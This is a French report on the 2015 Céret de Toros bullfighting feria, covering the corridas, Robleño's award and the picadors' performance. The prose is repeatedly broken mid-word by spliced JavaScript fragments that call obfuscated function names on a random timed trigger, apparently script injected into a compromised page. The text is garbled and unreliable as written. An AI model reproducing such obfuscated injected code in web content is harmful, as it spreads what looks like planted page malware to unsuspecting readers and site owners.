CERET 2015, IN EXTREMIS

Il s’en est fallu de 3 minutes pour que Ceret de Toros 2015 ne se termine avec la double punition d’un trio de corridas décevant et d’une copie vierge de récompenses tombant du palco.

Après 20 Toros (dont deux réserves) et des heures assis stoïquement sur les gradins surchauffés ,on aura eu ce dimanche vers 20.30 ,grâce à Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando Robleño et face au dernier Adolfo Martin, ces quelques minutes avec la rencontre entre un toro de 580 kilos et des cornes maison tournées vers le haut et un homme devenu depuis son solo face aux Escolar le matador symbole de Ceret. Cette rencontre donc nous donne l'essentiel de ce que le public est venu chercher ici, en Catalogne.

Un torero croisė, enfin installé entre les cornes d’un toro brave et encasté, tuant recta et brandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andissant avec fierté un pavillon mérité.

Pour le reste, les Dolores Aguirre, les Fraile et à un degré moindre les Adolfo se sont succédés sans faire éclater de bonheur un public pourtant alléché par la qualité et la réputation des 3 élevages.

Comble de malheur ou de malchance, le numéro 80 sorti de formidable façon en 3ème et préféré d'Adolfo Martin se fracassa la corne contre un burladero et dût être changé.

Il restera donc de ces 2 jours une bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderole pour défendre le retour des corridas à Barcelone (deux Toros furent brindés à son auteur) et surtout le moment magique du meilleur tercio de piques de la feria : c'était dimanche matin face aux Fraile et, après 3 rencontres magnifiques, le public debout demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda à Gabin Rehabi de saluer mettant une fois de plus le premier tiers au centre des préoccupations locales. Grâce leur en soit rendue !

Juste un regret, celui de ne pas voir Gabin accompagner Pérez Mota dans une vuelta a laquelle sont talent avait grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andement contribué.

Constatons enfin que l'octroi aux picadors d'une prime de 200 euros par toro (mais retirée en cas de non respect des règles) est probablement à l'origine du meilleur tercio de varas toutes plazas confondues. Qu'attend le monde taurin pour copier.

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